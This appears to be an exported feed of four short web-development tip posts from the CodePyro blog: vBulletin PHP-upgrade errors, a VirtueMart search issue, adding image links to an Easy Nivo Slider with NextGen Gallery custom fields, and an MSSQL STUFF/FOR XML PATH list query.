</pre>Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com1tag:blogger.com,1999:blog-7766821073218640079.post-91828502920725858882012-01-27T18:59:00.001-08:002012-03-07T10:50:44.332-08:00vbulletin error after upgrading php "includes/init.php Line: 49"If you are getting the below errors with vBulletin after upgrading php. <br />
<br />
<br />
<br />
Deprecated: Assigning the return value of new by reference is deprecated in E:\websites\dynamic\DOMAIN\a2hosting_forum\includes\init.php on line 383<br />
<br />
Deprecated: Assigning the return value of new by reference is deprecated in E:\websites\dynamic\DOMAIN\a2hosting_forum\includes\class_core.php on line 2529<br />
<br />
Unable to add cookies, header already sent.<br />
File: E:\websites\dynamic\DOMAIN\a2hosting_forum\includes\init.php<br />
Line: 49<br />
<br />
<br />
To fix <br />
Try replacing<br />
<br />
error_reporting(E_ALL & ~E_NOTICE);<br />
<br />
with<br />
<br />
error_reporting(E_ALL & ~E_NOTICE & ~8192); <br />
<br />
<br />
Then replace all occurances of '=&' with '='Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com5tag:blogger.com,1999:blog-7766821073218640079.post-17172984925893550582012-01-26T16:44:00.000-08:002012-01-26T16:44:34.062-08:00Joomla Virtuemart Product search plugin not finding productsThe vmxsearch.plugin that comes with Virtuemart to integrate product search into the normal joomla website search works great once its configured. Some products may not show in the search results. <br />
<br />
The main cause for this is if the product is out of stock. In my case I had a -2 in the stock amount for the products that were not showing. <br />
<br />
Change this by going into the admin->virtuemart->product list-> edit product and change the stock on the Product Status Tab.Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com2tag:blogger.com,1999:blog-7766821073218640079.post-76372486909039755532011-12-21T14:05:00.000-08:002011-12-21T14:11:48.685-08:00How to Add an image link to a Nivo Slider using Next Gen Gallery for WordpressThis setup is for when you need to use a custom field say a Link for your Next Gen Gallery images while viewing the images in a Nivo Slider. In particular I am using the Easy Nivo Slider. <br />
<br />
First get your gallery setup with all of your images. Next go get the <a href="http://wordpress.org/extend/plugins/nextgen-gallery-custom-fields/">Next Gen Gallery Custom Fields </a>. Once the plugin is installed add a new field called "link", now each of your images will have a link field in the gallery manager. Fill out a link for each. <br />
<br />
Next in the Easy Nivo Slider get that plugged into an article or in one of your templates. Once that is done and the slideshow is running at the dimensions that you need. Your ready to add the custom fields to the output.<br />
<br />
The Custom fields in the Next Gen gallery are not called in the Easy Nivo Slider so we will need to use some functions to get the particular field. <br />
<br />
Open up the file plugins/easy-nivo-slider/nextgen/list-images.php <br />
<br />
You should find the php code that displays the image tag around 185.<br />
<pre class="brush: plain">echo '<img src="'.$image->imageURL.'" '. $image_description.$size.' border="0" />';
</pre><br />
Just before that code we are going to add the php to output our new custom link field. <br />
We will use the function from the Next Gen Gallery Custom Fields functions.php file called nggcf_get_field. It takes 2 parameters ('PHOTO ID','CUSTOM FIELD NAME')<br />
<br />
<pre class="brush: plain">//get the field value from the Next Gen Gallery Custom Fields using the photo id
$linkval= nggcf_get_field($result->pid,'link');
if($linkval !='')
echo "<a href=\"" . $linkval . "\">";
</pre><br />
So thats it now you have outputted your custom field of link before the image is ouput. I would also reccomend closing the a tag after the image is displayed. Here is the full snippet.<br />
<pre class="brush: plain">//codepyro hack using the next gen gallery custom fields to get the custom field of link for each photo
$linkval= nggcf_get_field($result->pid,'link');
if($linkval !='')
echo "<a href=\"" . $linkval . "\">";
// Output the image
// Note that this outputs the original nextgen image, not the resized one. need to figure out how
// to get that one, if it exists
echo '<img src="'.$image->imageURL.'" '. $image_description . $size .' border="0" />';
if($linkval !='')
echo '</a>';
</pre>Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com1tag:blogger.com,1999:blog-7766821073218640079.post-34101992926753635002011-12-20T17:31:00.000-08:002011-12-20T17:31:48.872-08:00MSSQL subquery as a list.. i.e. return categories as a select itemIf you have ever wondered how to return a list of categories with a select statement heres the answer. It actually comes from <a href="http://stackoverflow.com/questions/3447309/convert-sql-subquery-to-list-or-varchar">StackOverflow</a>.This is a repost so I can find it later as I am sure that I have needed to do this about 20 times in the past.<br />
<br />
This is Really clever and full credit goes to this really Smart guy Niikola<br />
<br />
<br />
Here is a simple-ish query, gets some user data along with the list of categories. The Category table is separate with a linking table called contact_category_xref which holds the category id and the contact id associated.<br />
<br />
<pre class="brush: plain">SELECT
c.id,
c.FirstName,
c.LastName,
c.email,
c.City,
c.State,
<!---Amazing query to combine the reference table select into a list--->
Stuff((select ','+cat.name from category cat left join
contact_category_xref x
on cat.id = x.catid
where x.contactid = c.id
For XML PATH('')),1,1,'') as categoryList
FROM contacts c
</pre><br />
Ill attempt some explanation, feel free to jump in and offer corrections please.<br />
<br />
The first bit of Magic comes in the form of the "For XML Path('')" command in sql returns the query columns as XML which is incredibly handy. <br />
<br />
<pre class="brush: plain"> "<name>pizza</name>,<name>pie</name>"
</pre><br />
Now to get rid of the xml portion concatenating the comma before the cat.name returns the list without XML. example ',pizza,pie,cookies,snickers'<br />
<i>I have no Idea how this works or why but it does. Please feel free to explain if you know.</i><br />
<br />
So Whats left is the STUFF command which removes the first character for 1 character in length and replaces it with ''. Which means we are left with our nicely formatted list 'pizza,pie,cookies,snickers'.<br />
<br />
Pretty COOL i must say.Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com1